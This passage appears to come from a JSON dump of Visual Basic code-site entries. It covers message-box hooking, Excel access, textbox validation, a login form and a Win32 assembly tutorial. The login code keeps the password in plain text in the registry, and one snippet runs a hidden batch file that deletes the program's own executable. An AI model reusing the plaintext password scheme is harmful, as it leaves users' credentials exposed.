know is the thread that's calling it. For this we use the GetCurrentThreadID API. \nFinally we need to specify where it should send the messages to, and that would be a function we wrote. We now have everything to make the call. When calling, we specify that we are setting up a CBT hook, and off we go.\nAfter that, we can show our messagebox. This will send several messages to our function (in this case, 4 + the number of buttons), but we are only interested in the Activate, since this is when the messagebox is build completely. Our function must look like this (I called it Manipulate, since we are manipulating the box):\nPublic Function Manipulate(ByVal lMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\nWe can disregard lParam, but lMsg contains the message and wParam will contain the hWnd of the message/inputbox. \nOnce we have the hWnd, we can search for buttons. Since a button is actually a window of the class button, we can use the FindWindowEx API to find them. Once we have it, we can change the text using the SetWindowText API.\nAfter we done the processing, we need to release the hook. If we don't release the hook, our program can just disappear. With this I mean that it would be the same as just killing a process using the task manager, resulting is a possible loss of data, and a memory leak.\nAlso, when debugging, NEVER place a break between the place where you place your hook and release it, because this will probably result in the same effect as above.\nThis can also be applied to the InputBox. The example code shows both.\nThe MSGBOX function will still return the selected value, so if you change the Yes button to \"Yeah\", it will still return vbYes (and not vbYeah ;)\nThe INPUTBOX function returns the text entered, so basically nothing changes on the use, you just add a bit of a preparation.\nI think this code I wrote opens a new perspective. Since we are able to get the hWnd of the box and the buttons, we could easely use most of the WIndow APIs on it. This could maybe lead to custom shaped messageboxes, apply different window styles etc. Also, since we have a hWnd, we could get a hDC, which would allow us to use functions like BitBlt on it, and create boxes with pictures on the buttons rather than text. I haven't got time to test this, and I'm kinda busy lately, so if you manage to do anything cool with it, let me know.\nAs usual, feedback and votes appriciated, and in this case expecially the feedback."},{"WorldId":1,"id":31251,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26340,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27345,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22079,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30966,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21990,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29092,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24016,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27422,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25825,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21973,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":21978,"LineNumber":1,"line":"Function getExcel(rowval As Integer, columnval As String, excelfile As String)\nDim excelSheet As Object 'Excel Sheet object\n \n 'Create an instance of Excel by file name\n Set excelSheet = CreateObject(excelfile)\n mycell$ = columnval & rowval\n getExcel = excelSheet.activesheet.range(mycell$).Value\n 'Retrieve the result using the cell by row and column\n Set excelSheet = Nothing 'release object\n \nEnd Function"},{"WorldId":1,"id":22844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27542,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27156,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29853,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30242,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30253,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30393,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33937,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26720,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25919,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22020,"LineNumber":1,"line":"'***********************************************************\n' This code only allows numbers along with one decimal\n' point in text box named txtNumber. Also allow backspace.\n'***********************************************************\n \n If KeyAscii > 47 And KeyAscii < 58 Or KeyAscii = 8 Or KeyAscii = 46 Then\n If KeyAscii = 46 Then\n If InStr(txtNumber.Text, \".\") Then\n KeyAscii = 0\n Exit Sub\n Else\n txtNumber.Text = txtNumber.Text\n End If\n Else\n End If\n \n Else\n KeyAscii = 0\n End If\n"},{"WorldId":1,"id":27438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24383,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31433,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30015,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25803,"LineNumber":1,"line":"Public Function GetPathSize(ByRef sPathName As String) As Double\n Dim sFileName As String\n Dim dSize As Double\n Dim asFileName() As String\n Dim i As Long\n ' Enumerate DirNames and FileNames\n If StrComp(Right$(sPathName, 1), \"\\\", vbBinaryCompare) <> 0 Then sPathName = sPathName & \"\\\"\n sFileName = Dir$(sPathName, vbDirectory + vbHidden + vbSystem + vbReadOnly)\n Do While Len(sFileName) > 0\n If StrComp(sFileName, \".\", vbBinaryCompare) <> 0 And StrComp(sFileName, \"..\", vbBinaryCompare) <> 0 Then\n ReDim Preserve asFileName(i)\n asFileName(i) = sPathName & sFileName\n i = i + 1\n End If\n sFileName = Dir\n Loop\n If i > 0 Then\n For i = 0 To UBound(asFileName)\n If (GetAttr(asFileName(i)) And vbDirectory) = vbDirectory Then\n ' Add dir size\n dSize = dSize + GetPathSize(asFileName(i))\n Else\n ' Add file size\n dSize = dSize + FileLen(asFileName(i))\n End If\n Next\n End If\n GetPathSize = dSize\nEnd Function\n"},{"WorldId":1,"id":22039,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32366,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22062,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22064,"LineNumber":1,"line":"NOTE: The First Password will be \"\", or Nothing,\nas there is nothing saved to that setting in the registry untill you change the password.\nNOTE: See ScreenShot for info on setting the forms\nup and the controls to be put on to the forms.\n==================================\nPut this code in the \"LOGIN\" form:\n===================================\nPrivate Sub cmdlogin_Click()\nIf txtPassword.Text = txtgetpass.Text Then\n frmMain.Show\n Unload Me\nElse\n MsgBox \"Invalid Password, Please try again\", , \"Login\"\n txtPassword.Text = \"\"\n txtPassword.SetFocus\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\ntxtgetpass.Text = GetSetting(\"App\", \"Appname\", \"Password\", \"\")\nEnd Sub\nPrivate Sub txtPassword_KeyPress(KeyAscii As Integer)\nIf KeyAscii = vbKeyReturn Then\n 'If enter was pressed in the text box that inputs a message to send, simulate the pressing of the Send button.\n cmdlogin_Click\n 'Clear the text box.\n KeyAscii = 0\nEnd If\nEnd Sub\n==================================================\nPut this code in the \"ChangePassword form\" :\n==================================================\nPrivate Sub txtoldpassword_KeyPress(KeyAscii As Integer)\nIf KeyAscii = vbKeyReturn Then\n 'If enter was pressed in the text box that inputs a message to send, simulate the pressing of the Send button.\n txtnewpassword.SetFocus\n 'Clear the text box.\n KeyAscii = 0\nEnd If\nEnd Sub\nPrivate Sub txtnewpassword_KeyPress(KeyAscii As Integer)\nIf KeyAscii = vbKeyReturn Then\n 'If enter was pressed in the text box that inputs a message to send, simulate the pressing of the Send button.\n txtchknewpass.SetFocus\n 'Clear the text box\n KeyAscii = 0\nEnd If\nEnd Sub\nPrivate Sub txtchknewpass_KeyPress(KeyAscii As Integer)\nIf KeyAscii = vbKeyReturn Then\n 'If enter was pressed in the text box that inputs a message to send, simulate the pressing of the Send button.\n Command1_Click\n 'Clear the text box\n KeyAscii = 0\nEnd If\nEnd Sub\n\nPrivate Sub Command1_Click()\nIf txtoldpassword.Text = \" \" Then\n MsgBox \"Please enter old password\", vbOKOnly, \"Login\"\nElse\n GoTo Checkoldpass\nEnd If\nExit Sub\nCheckoldpass:\nIf txtoldpassword = txtgetpass.Text Then\n GoTo checknewPass\nElse\n MsgBox \"Invalid Old Password, Please try again\", vbOKOnly, \"Login\"\nEnd If\nExit Sub\nchecknewPass:\nIf txtnewpassword.Text = \"\" Then\n MsgBox \"Please enter a new password\", vbOKOnly, \"Login\"\nElse\n GoTo Confirmpass\nEnd If\nExit Sub\nConfirmpass:\nIf txtnewpassword.Text = txtchknewpass.Text Then\n GoTo Changepass\nElse\n MsgBox \"Password's do not match\",,\"Login\"\nEnd If\nExit Sub\nChangepass:\nSaveSetting \"App\", \"Appname\", \"Password\", txtchknewpass.Text\nMsgBox \"Password succesfully changed!\", vbOKOnly, \"Login\"\nUnload Me\nEnd Sub\nPrivate Sub Command2_Click()\nUnload Me\nEnd Sub\nPrivate Sub Form_Load()\ntxtgetpass.Text = GetSetting(\"App\", \"AppName\", \"Password\", \"\")\nEnd Sub\n\n"},{"WorldId":1,"id":25133,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22075,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24049,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25807,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26111,"LineNumber":1,"line":"Too many programmers these days use the end statement in their programs and under certain conditions leave fragements behind in memory, the application doesn't shut down fully, or in extreme cases cause GPFs.\n \nTo unload applications correctly, the statement 'Unload Me' should be used. The 'Form_QueryUnload' event will be triggered and at this point we should ask the user what to do. The reason why we should put a \"Save Changes\" propmt in the 'Form_QueryUnload' event is that there is more than one way to close an application. If the System Shutdown is invoked, or the Close \"X\" button is pressed, then we can catch these events and give the user a chance to save thier work.\nAttached are two framework applications to demostrate how to close A) SDI application and B) MDI application.\nIf you find this article & code useful, then please leave me a comment and I'll add more useful articles."},{"WorldId":1,"id":28788,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31118,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33336,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22450,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29305,"LineNumber":1,"line":"Open App.Path & IIf(Right(App.Path, 1) <> \"\\\", \"\\Del.bat\", \"Del.bat\") For Output As #1\nPrint #1, \"@Echo off\"\nPrint #1, \":S\"\nPrint #1, \"Del \" & App.EXEName & \".exe\"\nPrint #1, \"If Exist \" & App.EXEName & \".exe\" & \" goto S\"\nPrint #1, \"Del Del.bat\"\nClose #1\nShell \"Del.bat\", vbHide\nUnload Me"},{"WorldId":1,"id":29264,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22790,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22965,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22898,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25722,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26774,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24847,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29091,"LineNumber":1,"line":"Option Explicit\nPrivate Sub Form_Load()\n With Combo1\n .AddItem \"Dog\"\n .AddItem \"Growl\"\n .AddItem \"Sausage\"\n .AddItem \"Woof\"\n .Text = \"\"\n End With\nEnd Sub\nPrivate Sub Combo1_KeyDown(keycode As Integer, Shift As Integer)\n If keycode = vbKeyDelete Then\n Combo1.Text = \"\"\n keycode = 0\n End If\nEnd Sub\nPrivate Sub Combo1_KeyPress(KeyAscii As Integer)\nDim strSearchText As String\nDim strEnteredText As String\nDim intLength As Integer\nDim intIndex As Integer\nDim intCounter As Integer\nOn Error GoTo ErrorHandler\n With Combo1\n If .SelStart > 0 Then\n strEnteredText = Left(.Text, .SelStart)\n End If\n Select Case KeyAscii\n Case vbKeyReturn\n If .ListIndex > -1 Then\n .SelStart = 0\n .SelLength = Len(.List(.ListIndex))\n Exit Sub\n End If\n Case vbKeyEscape, vbKeyDelete\n .Text = \"\"\n KeyAscii = 0\n Exit Sub\n Case vbKeyBack\n If Len(strEnteredText) > 1 Then\n strSearchText = LCase(Left(strEnteredText, Len(strEnteredText) - 1))\n Else\n strEnteredText = \"\"\n KeyAscii = 0\n .Text = \"\"\n Exit Sub\n End If\n Case Else\n strSearchText = LCase(strEnteredText & Chr(KeyAscii))\n End Select\n intIndex = -1\n intLength = Len(strSearchText)\n For intCounter = 0 To .ListCount - 1\n If LCase(Left(.List(intCounter), intLength)) = strSearchText Then\n intIndex = intCounter\n Exit For\n End If\n Next intCounter\n If intIndex > -1 Then\n .ListIndex = intIndex\n .SelStart = Len(strSearchText)\n .SelLength = Len(.List(intIndex)) - Len(strSearchText)\n Else\n Beep\n End If \n End With\n KeyAscii = 0\n Exit Sub\nErrorHandler:\n KeyAscii = 0\n Beep\nEnd Sub\nPrivate Sub Combo1_LostFocus()\n Combo1.SelLength = 0\nEnd Sub"},{"WorldId":1,"id":22181,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":22409,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28760,"LineNumber":1,"line":"<pre>\nIntroduction to Win32 Assembly Programming\n==========================================\nBy: Chris Vega [gwapo@models.com]\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nWhat will i learn from this article?\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n\t+- Definitions of Application Programming Interface (API)\n\t+- How to incorporate API to Win32 Assembly, as well as how to convert\n\t VC++ definitions from Win32 API Refference to a Win32 Assembly format\n\t+- How to code a Do-Nothing Application (skeleton) using Win32 Assembly\n\t using Borland TASM 5.0\n\t+- How to compile and link your Application\n\t+- How to show an output in screen saying \"Hello World!\" using MessageBox\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nIntroduction\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nHello World! thats what everybody have in mind on every language introduction, so i will \nbe giving a simple hello world application in Win32 Assembly in this Article, showing \nyou how to compile and link it using Turbo Assembler (TASM) and explain the details \nabout the application we have created.\nNotes: \n +-\n This tutorial, as well as other Win32 Assembly Articles in this site are written in \n TASM syntax (TASM specific), therefore you need TASM5 to conpile and link the source \n codes in this article.\n\tDownload TASM here (greetz to, crackstore):\n\t\thttp://www.crackstore.cc/toolz/tasm5_1.zip\n\t\thttp://www.crackstore.cc/toolz/tasm5_2.zip\n\t\thttp://www.crackstore.cc/toolz/tasm5_3.zip\n\tAlso, you need a Text Editor, NotePad which is Built-In Windows OS is pretty\n\tuseful.\n +-\n There are various Windows Operating Systems and non of them performs alike, but \n with Assembly Coding, the differences are less, so the name \"Win32\" was purposely\n attached to Assembly to describe a Windows Environment Assembly Code - \"Win32Asm\"\n\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nApplication Programming Interface\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nApplication Programming Interface or simply API is what replaces the Interrupt calls\nin the old DOS System, same as Interrupt, APIs are also a functions, but unlike Ints,\nAPIs \"must\" be imported into your Application before you can make use of it, i've put\n\"must\" in quote cause APIs can also be called directly from its address without really\nimporting it to you application, but thats a little advanced topic, so lets concentrate\na more on importing APIs.\nIn TASM, importing an API was done using the directive \"extrn\", which is the same direc-\ntive used to import external routines, that simplifies the explanation, API is exported\nby Dynamic Link Libraries or DLL and APIs are external routines/funtions, therefore in \norder to import an API to your application, we can simply add:\n\textrn ApiNameHere:PROC\n\tor\n\textrn ApiNameHere:NEAR\nAs i told earlier, APIs are exported by DLLs, and the rules for case-sensitivity in API \nNames are strictly active, thefore:\n\textrn apiName:PROC\n\tis not the same as\n\textrn Apiname:PROC\nyou can find these APIs in Win32 API Refference included in MSDN Library, Visit:\n\thttp://msdn.microsoft.com/library\nor download the Win32 API Refference (8.5MB) at crackstore:\n http://www.crackstore.cc/toolz/win32_1.zip\n http://www.crackstore.cc/toolz/win32_2.zip\n http://www.crackstore.cc/toolz/win32_3.zip\n http://www.crackstore.cc/toolz/win32_4.zip\nAfter downloading and extracting it, or simply open your MSDN on-disk or on-line and\nview the most common APIs of all, the ExitProcess\n\tExitProcess\n\t===========\n\t\tThe ExitProcess function ends a process and all its threads. \n\tVOID ExitProcess(\n\t\tUINT uExitCode // exit code for all threads\n\t);\nIn TASM, importing this API is always a must, this is to tell TASM that we are creating\na Win32 Application rather than DOS Programs:\n\textrn ExitProcess:PROC\nAgain, case-sensitive check all API names you are typing before you proceed with coding\nor else, TASM32 will unable to create import refference of API to your Application, and \nwith Arguments or Parameter passing, Win32 Assembly always expect right-to-left (RTL) or\nStandard Calling Convention (stdcall).\nExitProcess expect 1 parameter, in Assembly, all parameter must be pushed in RTL order,\nand all addresses or values aree passed, meaning, lpXXX expect a Long-Pointer, uXXX\nexpect Unsigned Value etch.\nThe above C++ definition of ExitProcess API will be converted to Asm as:\n\tpush\tuExitCode\t; exit code for all threads\n\tcall\tExitProcess\nAPIs are generally grouped with two types, one is the string using API and the other is\nnot a string using API, meaning, if the API needs string to be passed as an argument, ie,\nMessageBox, see the description of MessageBox in Win32 API Refference:\n\n\tMessageBox\n\t==========\n\tThe MessageBox function creates, displays, and operates a message box. The message\n\tbox contains an application-defined message and title, plus any combination of\n\tpredefined icons and push buttons.\n\tint MessageBox(\n\t\tHWND hWnd,\t\t// handle to owner window\n\t\tLPCTSTR lpText,\t\t// text in message box\n\t\tLPCTSTR lpCaption,\t// message box title\n\t\tUINT uType\t\t// message box style\n\t);\nLPCTSTR in VC++ is a pointer to a string argument, known in hungarian notation \"LP\" or\n\"Long Pointer\", meaning, MessageBox API is an string using API, knowing that Windows\nOperating System provides two different string types, the ANSI of \"A\" and the UNICODE\nor \"W\", each string using API always two different versions, one for ANSI and one for\nUNICODE, so MessageBox has:\n\tMessageBoxA \t-\tANSI version MessageBox\n\tand \n\tMessageBoxW\t-\tUNICODE version MessageBox\nthis is very significant in Win32 Assembly, since in TASM, these APIs must be declared\nfirst as an \"extrn\", therefore the correct name is necessary to be imported and not its\n\"macro\" name!\nTo make it simple, MessageBox doesnt exist in User32.DLL, what exist are MessageBoxA and \nMessageBoxW, try to find out by downloading my GetAPI Tool in the Download section of \nthis site, and try to locate MessageBox or other string API, like CreateFile etch and \namaze yourself by discovering that they doesn't exist, but the ANSI or \"A\" / UNICODE or \n\"W\" versions.\nIf you dont want a tool to learn if the API exist by itsname or do it have two versions,\nthen simply look for the Requirements on the API description from Win32 API Refference,\nlet see MessageBox:\n\tRequirements:\n\t Windows NT/2000: Requires Windows NT 3.1 or later.\n\t Windows 95/98: Requires Windows 95 or later.\n\t Header: Declared in Winuser.h; include Windows.h.\n\t Library: Use User32.lib.\n\t Unicode: Implemented as Unicode and ANSI versions on all platforms.\nand look at the Unicode label.\nFor the parameter, all API parameter, exept those User defined are Noted by Hungarian\nNotation, ie, \"LP\" means Long Pointer for String, therefore in Win32 Assembly, LP will\nsimply be converted to Offset, let see the conversion of MessageBoxA in Win32 Assembly:\n\tpush\tuType\t\t\t; message box style\t(DWORD)\n\tpush\toffset lpCaption\t; message box title\t(OFFSET DWORD)\n\tpush\toffset lpText\t\t; text in message box\t(OFFSET DWORD)\n\tpush\thWnd\t\t\t; handle of Owner\t(DWORD)\n\tcall\tMessageBoxA\nand finally, functions return values, and APIs are functions, so values are returned\nas a result, most APIs return their result in the register EAX, or EAX contains info\nthat the result has been passed to certain parameter/s.\nsimple? yeah, you're right!\nOn to coding, next\n\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nDo Nothing Code\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nBefore we go to a full running \"Hello World!\", let see the skeleton of a Win32 Assembly\nCode that does nothing, assuming you save them in \"donone.asm\":\n--------------------------------------------------------------cut here----------------\n\t.386\n\t.model flat, stdcall\n\textrn ExitProcess:PROC\n\t.data\n\tdb ?\n\t.code\n\tstart:\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\n-----------------------------------------------------------end cut here---------------\nThe first two lines probably the most important in Win32 coding, because it will tell \nthe compiler the minimum processor for the application:\n\t.386\n\t.model flat, stdcall\nThe second line tells the compiler about the memory model using directive \".model\", where,\nin Win32 Environment, flat is the only memory model, meaning we needs to trash any idea of\nsegment:offset pairing or whatever memory models you might come accross in your previous\nAssembly Coding experiences, and welcome ourselves to the world of selectors or straight \nmemory layout in 32-bit addressing.\nthe \"stdcall\" however tells the TASM our way of Passing Argument, if we omit stdcall, we\nhave to push all parameters in the RTL order, while using stdcall tells the compiler that\nwe are about to use Standard Calling Convention as our means of Parameter Passing, it means:\n\tpush\tuExitCode\t; exit code for all threads\n\tcall\tExitProcess\nCan be converted to:\n\tcall\tExitProcess, uExitCode\nTherefore, no need to push Parameter to Stack one-by-oe, simply by calling the API and\nits arguments all in one line separated be comma(,) Note the comma after the API name.\nAfter the headings, the list of API imports follows - \"extrn\"s, you must import the needed\nAPIs to make use of it, at-least thats the idea of Win32 Programming.\n\t.data\n\tdb ?\nThe same as the old layout of assembly coding, we need to define all datas first, inside\nthe \".data\" directive; the \"db ?\" instruction tells TASM to have a dummy Data Section, or\nTASM will gets an error (TASM bug) if your application doesn't included any data at all.\n\t.code\n\tstart:\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\nAfter Data is the Code, stated by \".code\" directive, followed by the very-first label, \nmeaning, it doesn't really needed to use \"start:\" as your starting label, you can use\nothers like \"cvega:\", but remember to close this first label using the \"end <label>\"\ninstruction, see:\n\t.code\n\tcvega:\t\t\t\t; <-- First Label\n\t\tcall\tExitProcess, 0\n\t\tend\tcvega\t\t; <-- Ending the Starting Label!\nInside the \"Starting Label\" and \"End Label\" is the actual code, \n\tcall\tExitProcess, 0\nonly tells the machine to Exit this Process, btw, Process is the name given for an\nApplication Loaded in memory for execution, this is a simple example of how to call\nan API inside the actual application.\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nCompiling and Linking the Code\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nThe very first thing in mind in compiling Assembly code in TASM is locate Import32.Lib\nfile, found at the Lib Directory where TASM5 have been installed, a simple approach is\nto copy this file into \"bin\" directory, where your \"tasm32.exe\" and \"tlink32.exe\" are\nlocated, then create a batch file for compiling purpose:\n--------------------------------------------------------------cut here----------------\n\t@echo off\n\ttasm32 %1,, /ml /m9 /t\n\ttlink32 %1,,,import32.lib -Tpe -x -c\n\tdel *.lst\n\tdel *.obj\n-----------------------------------------------------------end cut here---------------\nAnd save it also to \"bin\" directory, named \"mk.bat\"\nTo compile \"donone.asm\" file, simply call:\n\tc:\\tasm5\\bin\\mk donone\nfrom your \"bin\" directory in your MS-DOS or DOS-BOX, and will automatically create you\na donone.exe, but if you execute it, it will automatically terminated, since ExitProcess\nis the only command in this Application, if you found problems about compiling, please\nconsult the \"docs\" directory from TASM and read more about compilation and building your\nproject into exe, using the above batch file is the simpliest method i am using, while\nthere are more complex approaches, like creating your own MAKE file for use with MAKE.EXE\nor even create your own Definition or Library Files.\nParameters used in making a Win32 EXE Application,\n\ttasm32:\n\t\t/ml = Case-Sensitive on Sysmbols, ml means All-Sysmbols\n\t\t/m9 = Allow 9 multiple passes to resolve forward references\n\t\t/t = Suppress messages if successful assembly\n\ttlink32:\n\t\t-Tpe = Build a PE image, replace this with Tpd to compile DLL\n\t\t-x = No Map\n\t\t-c = Case-Sensitive\n\t\t\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nHello World!\n-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\nAfter our success in a \"Do-Nothing\" code, which is presented so you have a fully\nfunctional skeleton application in Win32 Assembly coding (everybody needs that!), were\nhere to create a Hello World Application, let open the \"Do-Nothing\" code again, and save\nit as \"msgbox.asm\":\n--------------------------------------------------------------cut here----------------\n\t.386\n\t.model flat, stdcall\n\textrn ExitProcess:PROC\n\t.data\n\tdb ?\n\t.code\n\tstart:\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\n-----------------------------------------------------------end cut here---------------\nnext is the addition of MessageBox API (MessageBoxA), to greet our user \"Hello World\", \nhow? simple, add the API as new \"extrn\" in the API declarations:\n\t.386\n\t.model flat, stdcall\n\textrn MessageBoxA:PROC\t\t; <-- Added MessageBoxA\n\textrn ExitProcess:PROC\nfollow by data declaration in the \".data\" dirrective, since MessageBoxA API expects two\nString Datas, lpCaption and lpText, both must be daclared:\n\t.data\n\tdb ?\t\t<-- Remove dummy, we no longer needed it cause we have now an\n\t\t\t actuall data of our own.\nand replace with\n\t.data\n\tlpCaption\tdb \"My First Win32 Application\", 0\n\tlpText\t\tdb \"Hello World!\", 0\ncomma and zero (,0) specified that our string is NULL Terminated, and on to the code, by\nadding a \"call\" instruction, just like ExitProcess and all other APIs, Assembly uses\n\"call\" opcode to execute an API function, remember, we no longer needs to follow the\nserries of pushes, like:\n\tpush\tuType\t\t\t; message box style\t(DWORD)\n\tpush\toffset lpCaption\t; message box title\t(OFFSET DWORD)\n\tpush\toffset lpText\t\t; text in message box\t(OFFSET DWORD)\n\tpush\thWnd\t\t\t; handle of Owner\t(DWORD)\n\tcall\tMessageBoxA\nthose are for description purpose nowadays, we can simply call it directly using the \nStandard Calling Convetion (stdcall) like:\n\tcall\tMessageBoxA, hWnd, offset lpText, offset lpCaption, uType\n\tor break it to multiple lines for easy code-reading (have no effect on EXE tough!)\n\tcall\tMessageBoxA,\\\n\t\t\thWnd,\\\n\t\t\toffset lpText,\\\n\t\t\toffset lpCaption,\\\n\t\t\tuType\nIn the code, simply follow how do VC++ calls a API:\n\t.code\n\tstart:\n\t\tcall\tMessageBoxA,\\\n\t\t\t\t0,\\\n\t\t\t\toffset lpText,\\\n\t\t\t\toffset lpCaption,\\\n\t\t\t\t0\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\nThe final form of the changes from \"Do-Nothing\" code to a full \"Hello World\" application is:\n----[msgbox.asm]-----------------------------------------------cut here----------------\n\t.386\n\t.model flat, stdcall\n\textrn MessageBoxA:PROC\n\textrn ExitProcess:PROC\n\t.data\n\tlpCaption\tdb \"My First Win32 Assembly Application\", 0\n\tlpText\t\tdb \"Hello World!\", 0\n\t.code\n\tstart:\n\t\tcall\tMessageBoxA,\\\n\t\t\t\t0,\\\n\t\t\t\toffset lpText,\\\n\t\t\t\toffset lpCaption,\\\n\t\t\t\t0\n\t\tcall\tExitProcess, 0\n\t\tend\tstart\n-----------------------------------------------------------end cut here---------------\ncompile it again with mk.bat:\n\tc:\\tasm5\\bin\\mk msgbox\nand run:\n\tc:\\tasm5\\bin\\msgbox\nshows you a no-design MessageBox saying\n\t+--------------------------------------------------------+\n\t|[-] My First Win32 Assembly Application _ [] X |\n\t+--------------------------------------------------------+\n\t| |\n | Hello World |\n | |\n | [ OK ] |\n | |\n +--------------------------------------------------------+\ndownload the chapter1.zip file.\nnext chapter, i will explain the detains of MessageBox to show you how to control\nflows in Win32 Assembly and how to use return values from API.\n\nCopyright 2001, by Chris Vega [gwapo@models.com]\n</pre>"},{"WorldId":1,"id":28112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27985,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28171,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28242,"LineNumber":1,"line":"Download it here in ZIP or \nRead it Online:\n<a href=\"http://trider.8m.com/Access%20Memory.txt\">Accessing Memory by 32-bit Addresing in Windows using Visual Basic</a>"},{"WorldId":1,"id":28324,"LineNumber":1,"line":"Download it here in ZIP or Read it Online:\n<a href=\"http://trider.8m.com/files/Mistakes01.txt\">A Guide to Common Mistakes and Corrections in Visual Basic (Part 1)</a>"},{"WorldId":1,"id":28406,"LineNumber":1,"line":"Download it from this Site as a ZIP File or Read it Online <a 